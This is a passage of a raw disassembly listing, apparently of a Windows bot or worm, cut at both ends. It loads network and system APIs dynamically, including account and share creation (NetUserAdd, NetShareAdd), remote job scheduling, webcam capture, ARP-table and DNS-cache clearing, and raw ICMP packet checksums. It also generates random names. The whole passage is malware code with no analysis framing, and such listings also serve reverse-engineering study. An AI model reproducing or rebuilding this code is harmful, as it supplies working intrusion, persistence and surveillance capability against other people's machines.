		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAC8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAC4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB920, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB9AC, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB958, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB97C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB920, ebx
		mov	ecx, dword_4CB97C
		mov	dword_4CBA18, eax
		jz	short loc_40A1C9
		cmp	dword_4CB8A8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB958, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9B8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8F0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBACC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4CB994, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAD0, eax
		mov	dword_4CBACC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB994, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB96C, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA9C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB96C, ebx
		mov	dword_4CB8FC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA9C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAD8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAD4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB928, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB95C, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA74, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB910, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8BC, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB944, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB8D8, ebx
		mov	dword_4CB918, eax
		jz	short loc_40A379
		cmp	dword_4CB8B0, ebx
		jz	short loc_40A379
		cmp	dword_4CB928, ebx
		jz	short loc_40A379
		cmp	dword_4CB95C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA74, ebx
		jz	short loc_40A379
		cmp	dword_4CB910, ebx
		jz	short loc_40A379
		cmp	dword_4CB8BC, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB944, ebx
		jz	short loc_40A379
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9F4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAE0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBADC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB900, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB900, ebx
		mov	dword_4CB9DC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAE8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAE4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA60, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA60, ebx
		mov	dword_4CBA5C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAF0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBAEC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA84, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA4C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA8C, ebx
		mov	dword_4CB91C, eax
		jz	short loc_40A481
		cmp	dword_4CBA84, ebx
		jz	short loc_40A481
		cmp	dword_4CBA4C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAF8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAF4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB950, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB950, ebx
		mov	dword_4CBA58, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBB00, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAFC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA20, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA6C, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB960, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CBA00, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA20, ebx
		mov	dword_4CB970, eax
		jz	short loc_40A569
		cmp	dword_4CBA6C, ebx
		jz	short loc_40A569
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A569
		cmp	dword_4CB960, ebx
		jz	short loc_40A569
		cmp	dword_4CBA00, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBB08, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBB04, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB934, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB934, ebx
		mov	dword_4CBA14, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBB10, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBB0C, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBAA4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBAAC, esi
		jz	short loc_40A641
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAB4, esi
		jz	short loc_40A675
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBABC, esi
		jz	short loc_40A6A9
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAC4, esi
		jz	short loc_40A6DD
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBACC, esi
		jz	short loc_40A711
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAD4, esi
		jz	short loc_40A745
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBADC, esi
		jz	short loc_40A779
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAE4, esi
		jz	short loc_40A7AD
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBAEC, esi
		jz	short loc_40A7E1
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAF4, esi
		jz	short loc_40A815
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAFC, esi
		jz	short loc_40A849
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBB04, esi
		jz	short loc_40A87D
		push	dword_4CBB08
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBB0C, esi
		jz	short loc_40A8B1
		push	dword_4CBB10
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: .packed:00433214o
					; .packed:00433258o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6CC
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA24	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA68	; gethostbyname
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB900
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx	; DnsFlushResolverCache

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA60	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8E0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8BC
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA60	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D88C


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D85C
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA5C	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB988	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB14
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: .packed:off_42D928o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D9A4[edx*4]
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_429140 ; "-"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB72


loc_40AB4C:				; CODE XREF: .packed:0040AB70j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AB4C


loc_40AB72:				; CODE XREF: .packed:0040AB4Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


